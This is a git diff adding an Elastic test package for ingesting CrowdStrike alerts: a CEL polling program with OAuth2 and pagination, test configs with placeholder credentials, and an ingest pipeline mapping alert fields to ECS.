+                        "want_more": has(body.?meta.pagination.after),
+                      }
+                  )
+                :
+                  {
+                    "events": {
+                      "error": {
+                        "code": string(resp.StatusCode),
+                        "id": string(resp.Status),
+                        "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + (
+                          (size(resp.Body) != 0) ?
+                            string(resp.Body)
+                          :
+                            string(resp.Status) + " (" + string(resp.StatusCode) + ")"
+                        ),
+                      },
+                    },
+                    "next": {},
+                    "want_more": false,
+                  }
+                )
+              )
+            )
+          publisher_pipeline.disable_host: true
+          redact:
+            fields: null
+          resource.ssl: null
+          resource.timeout: 30s
+          resource.tracer:
+            enabled: true
+            filename: ../../logs/cel/http-request-trace-*.ndjson
+            maxbackups: 5
+          resource.url: http://host.tld
+          state:
+            batch_size: 1000
+            initial_interval: 24h
+          tags:
+            - preserve_original_event
+            - preserve_duplicate_custom_fields
+            - forwarded
+            - crowdstrike-alert
+      type: cel
+      use_output: default
+output_permissions:
+    default:
+        _elastic_agent_checks:
+            cluster:
+                - monitor
+        _elastic_agent_monitoring:
+            indices: []
+        uuid-for-permissions-on-related-indices:
+            indices:
+                - names:
+                    - logs-crowdstrike.alert-ep
+                  privileges:
+                    - auto_configure
+                    - create_doc
+secret_references:
+    - {}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
new file mode 100644
index 0000000000..64c1d9d27e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
@@ -0,0 +1,10 @@
+vars:
+  url: http://host.tld
+  client_id: test_client_id
+  client_secret: test_client_secret
+  token_url: http://host.tld/oauth2/token
+data_stream:
+  vars:
+    enable_request_tracer: true
+    preserve_original_event: true
+    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
new file mode 100644
index 0000000000..7bdfd95a91
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
@@ -0,0 +1,15 @@
+input: cel
+service: crowdstrike-alert
+vars:
+  url: http://{{Hostname}}:{{Port}}
+  client_id: xxxx
+  client_secret: xxxx
+  token_url: http://{{Hostname}}:{{Port}}/oauth2/token
+data_stream:
+  vars:
+    interval: 10s
+    batch_size: 1
+    preserve_original_event: true
+    preserve_duplicate_custom_fields: true
+assert:
+  hit_count: 3
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs
new file mode 100644
index 0000000000..b9c4c9c6fd
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs
@@ -0,0 +1,130 @@
+config_version: 2
+interval: {{interval}}
+resource.tracer:
+  enabled: {{enable_request_tracer}}
+  filename: "../../logs/cel/http-request-trace-*.ndjson"
+  maxbackups: 5
+{{#if proxy_url}}
+resource.proxy_url: {{proxy_url}}
+{{/if}}
+{{#if proxy_headers}}
+resource.proxy_headers: {{proxy_headers}}
+{{/if}}
+{{#if ssl}}
+resource.ssl: {{ssl}}
+{{/if}}
+{{#if http_client_timeout}}
+resource.timeout: {{http_client_timeout}}
+{{/if}}
+resource.url: {{url}}
+auth.oauth2:
+  client.id: {{client_id}}
+  client.secret: {{client_secret}}
+  token_url: {{token_url}}
+state:
+  initial_interval: {{initial_interval}}
+  batch_size: {{batch_size}}
+{{#if query}}
+  query: {{query}}
+{{/if}}
+redact:
+  fields: ~
+program: |-
+  state.with(
+    (
+      state.?want_more.orValue(false) ?
+        state.start_time
+      :
+        state.?cursor.last_timestamp.orValue(
+          (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano)
+        )
+    ).as(start_time,
+      post_request(
+        state.url.trim_right("/") + "/alerts/combined/alerts/v1?",
+        "application/json",
+        {
+          ?"after": state.?next.page_token,
+          "limit": int(state.batch_size),
+          "sort": "updated_timestamp|asc",
+          "filter": [
+            "updated_timestamp:>'" + start_time + "'",
+            ?state.?query.optMap(q, "(" + q + ")"),
+          ].join("+"),
+        }.encode_json()
+      ).do_request().as(resp, (resp.StatusCode == 200) ?
+        resp.Body.decode_json().as(body,
+          (size(body.?errors.orValue([])) > 0) ?
+            {
+              "events": body.errors.map(error,
+                {
+                  "error": {
+                    "code": string(error.code),
+                    "message": string(error.message),
+                  },
+                }
+              ),
+              "next": {},
+              "want_more": false,
+            }
+          :
+            {
+              "events": has(body.resources) ?
+                body.resources.map(e,
+                  {
+                    "message": e.encode_json(),
+                  }
+                )
+              :
+                [],
+              "start_time": start_time,
+              "next": {
+                ?"page_token": body.?meta.pagination.after,
+              },
+              "cursor": {
+                // The records are sorted in ascending order based on the value of updated_timestamp,
+                // in the next interval we start from the last event (newest) time.
+                ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ?
+                  optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano))
+                :
+                  state.?cursor.last_timestamp,
+              },
+              "want_more": has(body.?meta.pagination.after),
+            }
+        )
+      :
+        {
+          "events": {
+            "error": {
+              "code": string(resp.StatusCode),
+              "id": string(resp.Status),
+              "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + (
+                (size(resp.Body) != 0) ?
+                  string(resp.Body)
+                :
+                  string(resp.Status) + " (" + string(resp.StatusCode) + ")"
+              ),
+            },
+          },
+          "next": {},
+          "want_more": false,
+        }
+      )
+    )
+  )
+tags:
+{{#if preserve_original_event}}
+  - preserve_original_event
+{{/if}}
+{{#if preserve_duplicate_custom_fields}}
+  - preserve_duplicate_custom_fields
+{{/if}}
+{{#each tags as |tag|}}
+  - {{tag}}
+{{/each}}
+{{#contains "forwarded" tags}}
+publisher_pipeline.disable_host: true
+{{/contains}}
+{{#if processors}}
+processors:
+{{processors}}
+{{/if}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
new file mode 100644
index 0000000000..ca22a3da8f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
@@ -0,0 +1,2829 @@
+---
+description: Pipeline for processing Alert logs.
+processors:
+  - remove:
+      field:
+        - organization
+        - division
+        - team
+      ignore_missing: true
+      if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String
+      tag: remove_agentless_tags
+      description: >-
+        Removes the fields added by Agentless as metadata,
+        as they can collide with ECS fields.
+  - set:
+      field: ecs.version
+      tag: set_ecs_version
+      value: 8.17.0
+  - set:
+      field: event.kind
+      tag: set_event_kind
+      value: alert
+  - rename:
+      field: message
+      tag: rename_message_to_event_original
+      target_field: event.original
+      ignore_missing: true
+      description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document.
+      if: ctx.event?.original == null
+  - remove:
+      field: message
+      tag: remove_message
+      ignore_missing: true
+      description: The `message` field is no longer required if the document has an `event.original` field.
+      if: ctx.event?.original != null
+  - terminate:
+      tag: data_collection_error
+      if: ctx.error?.message != null && ctx.message == null && ctx.event?.original == null
+      description: error message set and no data to process.
+  - json:
+      field: event.original
+      tag: json_event_original
+      target_field: json
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.category
+      tag: set_event_category_process
+      value: ['process']
+      if: ctx.json?.process_id != null || ctx.json?.triggering_process_graph_id != null
+  - set:
+      field: event.type
+      tag: set_event_type_start
+      value: ['start']
+      if: ctx.json?.process_start_time != null
+  - convert:
+      field: json.active_directory_authentication_method
+      tag: convert_active_directory_authentication_method_to_long
+      target_field: crowdstrike.alert.active_directory_authentication_method
+      type: long
+      if: ctx.json?.active_directory_authentication_method != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.activity_browser
+      tag: rename_activity_browser
+      target_field: crowdstrike.alert.activity.browser
+      ignore_missing: true
+  - rename:
+      field: json.activity_device
+      tag: rename_activity_device
+      target_field: crowdstrike.alert.activity.device
+      ignore_missing: true
+  - rename:
+      field: json.activity_id
+      tag: rename_activity_id
+      target_field: crowdstrike.alert.activity.id
+      ignore_missing: true
+  - rename:
+      field: json.activity_os
+      tag: rename_activity_os
+      target_field: crowdstrike.alert.activity.os
+      ignore_missing: true
+  - rename:
+      field: json.agent_id
+      tag: rename_agent_id
+      target_field: crowdstrike.alert.agent_id
+      ignore_missing: true
+  - set:
+      field: host.id
+      tag: set_host_id_from_alert_agent_id
+      copy_from: crowdstrike.alert.agent_id
+      ignore_empty_value: true
+  - rename:
+      field: json.agent_scan_id
+      tag: rename_agent_scan_id
+      target_field: crowdstrike.alert.agent_scan_id
+      ignore_missing: true
+  - rename:
+      field: json.aggregate_id
+      tag: rename_aggregate_id
+      target_field: crowdstrike.alert.aggregate_id
+      ignore_missing: true
+  - convert:
+      field: json.alert_attributes
+      tag: convert_alert_attributes_to_long
+      target_field: crowdstrike.alert.alert_attributes
+      type: long
+      if: ctx.json?.alert_attributes != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.alleged_filetype
+      tag: rename_alleged_filetype
+      target_field: crowdstrike.alert.alleged_filetype
+      ignore_missing: true
+  - rename:
+      field: json.assigned_to_name
+      tag: rename_assigned_to_name
+      target_field: crowdstrike.alert.assigned_to.name
+      ignore_missing: true
+  - rename:
+      field: json.assigned_to_uid
+      tag: rename_assigned_to_uid
+      target_field: crowdstrike.alert.assigned_to.uid
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_crowdstrike_alert_assigned_to_uid_into_related_user
+      value: '{{{crowdstrike.alert.assigned_to.uid}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.assigned_to?.uid != null
+  - rename:
+      field: json.assigned_to_uuid
+      tag: rename_assigned_to_uuid
+      target_field: crowdstrike.alert.assigned_to.uuid
+      ignore_missing: true
+  - foreach:
+      field: json.associated_files
+      if: ctx.json?.associated_files instanceof List
+      processor:
+        append:
+          field: related.hash
+          tag: append_associated_files_sha256_into_related_hash
+          value: '{{{_ingest._value.sha256}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.associated_files
+      tag: rename_associated_files
+      target_field: crowdstrike.alert.associated_files
+      ignore_missing: true
+  - rename:
+      field: json.child_process_ids
+      tag: rename_child_process_ids
+      target_field: crowdstrike.alert.child_process_ids
+      ignore_missing: true
+  - rename:
+      field: json.cid
+      tag: rename_cid
+      target_field: crowdstrike.alert.cid
+      ignore_missing: true
+  - convert:
+      field: json.cloud_indicator
+      tag: convert_cloud_indicator_to_boolean
+      target_field: crowdstrike.alert.cloud_indicator
+      type: boolean
+      if: ctx.json?.cloud_indicator != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.prevented
+      tag: convert_prevented_to_boolean
+      target_field: crowdstrike.alert.prevented
+      type: boolean
+      if: ctx.json?.prevented != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.worker_node_name
+      tag: rename_worker_node_name
+      target_field: crowdstrike.alert.worker_node_name
+      ignore_missing: true
+  - rename:
+      field: json.cmdline
+      tag: rename_cmdline
+      target_field: crowdstrike.alert.cmdline
+      ignore_missing: true
+  - rename:
+      field: json.command_line
+      tag: rename_command_line
+      target_field: crowdstrike.alert.command_line
+      ignore_missing: true
+  - set:
+      field: process.command_line
+      tag: set_process_command_line
+      copy_from: crowdstrike.alert.command_line
+      ignore_empty_value: true
+  - rename:
+      field: json.comment
+      tag: rename_comment
+      target_field: crowdstrike.alert.comment
+      ignore_missing: true
+  - rename:
+      field: json.composite_id
+      tag: rename_composite_id
+      target_field: crowdstrike.alert.composite_id
+      ignore_missing: true
+  - convert:
+      field: json.confidence
+      tag: convert_confidence_to_long
+      target_field: crowdstrike.alert.confidence
+      type: long
+      if: ctx.json?.confidence != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.context_timestamp
+      tag: date_context_timestamp
+      target_field: crowdstrike.alert.context_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.context_timestamp != null && ctx.json.context_timestamp != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.control_graph_id
+      tag: rename_control_graph_id
+      target_field: crowdstrike.alert.control_graph_id
+      ignore_missing: true
+  - rename:
+      field: json.crawl_edge_ids.Sensor
+      tag: rename_crawl_edge_ids_Sensor
+      target_field: crowdstrike.alert.crawl_edge_ids.Sensor
+      ignore_missing: true
+  - rename:
+      field: json.crawl_vertex_ids.Sensor
+      tag: rename_crawl_vertex_ids_Sensor
+      target_field: crowdstrike.alert.crawl_vertex_ids.Sensor
+      ignore_missing: true
+  - date:
+      field: json.crawled_timestamp
+      tag: date_crawled_timestamp
+      target_field: crowdstrike.alert.crawled_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.crawled_timestamp != null && ctx.json.crawled_timestamp != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.created_timestamp
+      tag: date_created_timestamp
+      target_field: crowdstrike.alert.created_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.created_timestamp != null && ctx.json.created_timestamp != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.data_domains
+      tag: rename_data_domains
+      target_field: crowdstrike.alert.data_domains
+      ignore_missing: true
+  - rename:
+      field: json.description
+      tag: rename_description
+      target_field: crowdstrike.alert.description
+      ignore_missing: true
+  - set:
+      field: message
+      tag: set_message_from_alert_description
+      copy_from: crowdstrike.alert.description
+      ignore_empty_value: true
+  - rename:
+      field: json.detect_type
+      tag: rename_detect_type
+      target_field: crowdstrike.alert.detect_type
+      ignore_missing: true
+  - convert:
+      field: json.device.agent_load_flags
+      tag: convert_device_agent_load_flags_to_long
+      target_field: crowdstrike.alert.device.agent_load_flags
+      type: long
+      if: ctx.json?.device?.agent_load_flags != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.device.agent_local_time
+      tag: date_device_agent_local_time
+      target_field: crowdstrike.alert.device.agent_local_time
+      formats:
+        - ISO8601
+      if: ctx.json?.device?.agent_local_time != null && ctx.json.device.agent_local_time != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.device.agent_version
+      tag: rename_device_agent_version
+      target_field: crowdstrike.alert.device.agent_version
+      ignore_missing: true
+  - rename:
+      field: json.device.bios_manufacturer
+      tag: rename_device_bios_manufacturer
+      target_field: crowdstrike.alert.device.bios_manufacturer
+      ignore_missing: true
+  - rename:
+      field: json.device.bios_version
+      tag: rename_device_bios_version
+      target_field: crowdstrike.alert.device.bios_version
+      ignore_missing: true
+  - rename:
+      field: json.device.cid
+      tag: rename_device_cid
+      target_field: crowdstrike.alert.device.cid
+      ignore_missing: true
+  - rename:
+      field: json.device.config_id_base
+      tag: rename_device_config_id_base
+      target_field: crowdstrike.alert.device.config_id_base
+      ignore_missing: true
+  - rename:
+      field: json.device.config_id_build
+      tag: rename_device_config_id_build
+      target_field: crowdstrike.alert.device.config_id_build
+      ignore_missing: true
+  - convert:
+      field: json.device.config_id_platform
+      tag: convert_device_config_id_platform_to_long
+      target_field: crowdstrike.alert.device.config_id_platform
+      type: long
+      if: ctx.json?.device?.config_id_platform != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.device.external_ip
+      tag: convert_device_external_ip_to_ip
+      target_field: crowdstrike.alert.device.external_ip
+      type: ip
+      ignore_missing: true
+      if: ctx.json?.device?.external_ip != null && ctx.json.device.external_ip != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - append:
+      field: related.ip
+      tag: append_crowdstrike_alert_device_external_ip_into_related_ip
+      value: '{{{crowdstrike.alert.device.external_ip}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.external_ip != null
+  - append:
+      field: host.ip
+      tag: append_crowdstrike_alert_device_external_ip_into_host_ip
+      value: '{{{crowdstrike.alert.device.external_ip}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.external_ip != null
+  - date:
+      field: json.device.first_seen
+      tag: date_device_first_seen
+      target_field: crowdstrike.alert.device.first_seen
+      formats:
+        - ISO8601
+      if: ctx.json?.device?.first_seen != null && ctx.json.device.first_seen != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.device.groups
+      tag: rename_device_groups
+      target_field: crowdstrike.alert.device.groups
+      ignore_missing: true
+  - rename:
+      field: json.device.hostinfo.active_directory_dn_display
+      tag: rename_device_hostinfo_active_directory_dn_display
+      target_field: crowdstrike.alert.device.hostinfo.active_directory_dn_display
+      ignore_missing: true
+  - rename:
+      field: json.device.hostinfo.domain
+      tag: rename_device_hostinfo_domain
+      target_field: crowdstrike.alert.device.hostinfo.domain
+      ignore_missing: true
+  - set:
+      field: host.domain
+      tag: set_host_domain_from_alert_device_hostinfo_domain
+      copy_from: crowdstrike.alert.device.hostinfo.domain
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      value: '{{{host.domain}}}'
+      allow_duplicates: false
+      if: ctx.host?.domain != null
+  - rename:
+      field: json.device.hostname
+      tag: rename_device_hostname
+      target_field: crowdstrike.alert.device.hostname
+      ignore_missing: true
+  - set:
+      field: host.hostname
+      tag: set_host_hostname_from_alert_device_hostname
+      copy_from: crowdstrike.alert.device.hostname
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      value: '{{{host.hostname}}}'
+      allow_duplicates: false
+      if: ctx.host?.hostname != null
+  - rename:
+      field: json.device.device_id
+      tag: rename_device_device_id
+      target_field: crowdstrike.alert.device.id
+      ignore_missing: true
+  - set:
+      field: device.id
+      tag: set_device_id_from_alert_device_id
+      copy_from: crowdstrike.alert.device.id
+      ignore_empty_value: true
+  - date:
+      field: json.device.last_seen
+      tag: date_device_last_seen
+      target_field: crowdstrike.alert.device.last_seen
+      formats:
+        - ISO8601
+      if: ctx.json?.device?.last_seen != null && ctx.json.device.last_seen != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.device.local_ip
+      tag: convert_device_local_ip_to_ip
+      target_field: crowdstrike.alert.device.local_ip
+      type: ip
+      ignore_missing: true
+      if: ctx.json?.device?.local_ip != null && ctx.json.device.local_ip != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - append:
+      field: related.ip
+      tag: append_crowdstrike_alert_device_local_ip_into_related_ip
+      value: '{{{crowdstrike.alert.device.local_ip}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.local_ip != null
+  - append:
+      field: host.ip
+      tag: append_crowdstrike_alert_device_local_ip_into_host_ip
+      value: '{{{crowdstrike.alert.device.local_ip}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.local_ip != null
+  - gsub:
+      field: json.device.mac_address
+      tag: gsub_device_mac_address
+      pattern: '[:.]'
+      replacement: '-'
+      target_field: crowdstrike.alert.device.mac_address
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - uppercase:
+      field: crowdstrike.alert.device.mac_address
+      tag: uppercase_device_mac_address
+      ignore_missing: true
+      if: ctx.crowdstrike?.alert?.device?.mac_address != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - append:
+      field: host.mac
+      value: '{{{crowdstrike.alert.device.mac_address}}}'
+      tag: append_device_mac_address_into_host_mac
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.mac_address != null
+  - rename:
+      field: json.device.machine_domain
+      tag: rename_device_machine_domain
+      target_field: crowdstrike.alert.device.machine_domain
+      ignore_missing: true
+  - append:
+      field: related.hosts
+      value: '{{{crowdstrike.alert.device.machine_domain}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.device?.machine_domain != null
+  - rename:
+      field: json.device.major_version
+      tag: rename_device_major_version
+      target_field: crowdstrike.alert.device.major_version
+      ignore_missing: true
+  - rename:
+      field: json.device.minor_version
+      tag: rename_device_minor_version
+      target_field: crowdstrike.alert.device.minor_version
+      ignore_missing: true
+  - date:
+      field: json.device.modified_timestamp
+      tag: date_device_modified_timestamp
+      target_field: crowdstrike.alert.device.modified_timestamp
+      formats:
+        - ISO8601
+      if: ctx.json?.device?.modified_timestamp != null && ctx.json.device.modified_timestamp != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.device.os_version
+      tag: rename_device_os_version
+      target_field: crowdstrike.alert.device.os_version
+      ignore_missing: true
+  - set:
+      field: host.os.full
+      tag: set_host_os_full_from_alert_device_os_version
+      copy_from: crowdstrike.alert.device.os_version
+      ignore_empty_value: true
+  - rename:
+      field: json.device.ou
+      tag: rename_device_ou
+      target_field: crowdstrike.alert.device.ou
+      ignore_missing: true
+  - rename:
+      field: json.device.platform_id
+      tag: rename_device_platform_id
+      target_field: crowdstrike.alert.device.platform_id
+      ignore_missing: true
+  - rename:
+      field: json.device.platform_name
+      tag: rename_device_platform_name
+      target_field: crowdstrike.alert.device.platform_name
+      ignore_missing: true
+  - set:
+      field: host.os.platform
+      tag: set_host_os_platform_from_alert_device_platform_name
+      copy_from: crowdstrike.alert.device.platform_name
+      ignore_empty_value: true
+  - rename:
+      field: json.device.pod_labels
+      tag: rename_device_pod_labels
+      target_field: crowdstrike.alert.device.pod_labels
+      ignore_missing: true
+  - rename:
+      field: json.device.product_type
+      tag: rename_device_product_type
+      target_field: crowdstrike.alert.device.product_type
+      ignore_missing: true
+  - rename:
+      field: json.device.product_type_desc
+      tag: rename_device_product_type_desc
+      target_field: crowdstrike.alert.device.product_type_desc
+      ignore_missing: true
+  - rename:
+      field: json.device.site_name
+      tag: rename_device_site_name
+      target_field: crowdstrike.alert.device.site_name
+      ignore_missing: true
+  - rename:
+      field: json.device.status
+      tag: rename_device_status
+      target_field: crowdstrike.alert.device.status
+      ignore_missing: true
+  - rename:
+      field: json.device.system_manufacturer
+      tag: rename_device_system_manufacturer
+      target_field: crowdstrike.alert.device.system_manufacturer
+      ignore_missing: true
+  - set:
+      field: device.manufacturer
+      tag: set_device_manufacturer
+      copy_from: crowdstrike.alert.device.system_manufacturer
+      ignore_empty_value: true
+  - rename:
+      field: json.device.system_product_name
+      tag: rename_device_system_product_name
+      target_field: crowdstrike.alert.device.system_product_name
+      ignore_missing: true
+  - set:
+      field: device.model.name
+      tag: set_device_model_name
+      copy_from: crowdstrike.alert.device.system_product_name
+      ignore_empty_value: true
+  - rename:
+      field: json.device.tags
+      tag: rename_device_tags
+      target_field: crowdstrike.alert.device.tags
+      ignore_missing: true
+  - foreach:
+      field: crowdstrike.alert.device.tags
+      if: ctx.crowdstrike?.alert?.device?.tags instanceof List
+      processor:
+        append:
+          field: tags
+          tag: append_device_tags_into_tags
+          value: '{{{_ingest._value}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.display_name
+      tag: rename_display_name
+      target_field: crowdstrike.alert.display_name
+      ignore_missing: true
+  - foreach:
+      field: json.documents_accessed
+      if: ctx.json?.documents_accessed instanceof List
+      processor:
+        date:
+          field: _ingest._value.timestamp
+          tag: date_documents_accessed_timestamp
+          target_field: _ingest._value.timestamp
+          formats:
+            - UNIX
+            - UNIX_MS
+          on_failure:
+            - remove:
+                field: _ingest._value.timestamp
+                ignore_missing: true
+  - rename:
+      field: json.documents_accessed
+      tag: rename_documents_accessed
+      target_field: crowdstrike.alert.documents_accessed
+      ignore_missing: true
+  - convert:
+      field: json.email_sent
+      tag: convert_email_sent_to_boolean
+      target_field: crowdstrike.alert.email_sent
+      type: boolean
+      if: ctx.json?.email_sent != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.end_time
+      tag: date_end_time
+      target_field: crowdstrike.alert.end_time
+      formats:
+        - ISO8601
+      if: ctx.json?.end_time != null && ctx.json.end_time != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: event.end
+      tag: set_event_end_from_alert_end_time
+      copy_from: crowdstrike.alert.end_time
+      ignore_empty_value: true
+  - rename:
+      field: json.event_id
+      tag: rename_event_id
+      target_field: crowdstrike.alert.event_id
+      ignore_missing: true
+  - foreach:
+      field: json.executables_written
+      if: ctx.json?.executables_written instanceof List
+      processor:
+        date:
+          field: _ingest._value.timestamp
+          tag: date_executables_written_timestamp
+          target_field: _ingest._value.timestamp
+          formats:
+            - UNIX
+            - UNIX_MS
+          on_failure:
+            - remove:
+                field: _ingest._value.timestamp
+                ignore_missing: true
+  - rename:
+      field: json.executables_written
+      tag: rename_executables_written
+      target_field: crowdstrike.alert.executables_written
+      ignore_missing: true
+  - rename:
+      field: json.falcon_host_link
+      tag: rename_falcon_host_link
+      target_field: crowdstrike.alert.falcon_host_link
+      ignore_missing: true
+  - rename:
+      field: json.filename
+      tag: rename_filename
+      target_field: crowdstrike.alert.filename
+      ignore_missing: true
+  - set:
+      field: file.name
+      tag: set_file_name_from_alert_filename
+      copy_from: crowdstrike.alert.filename
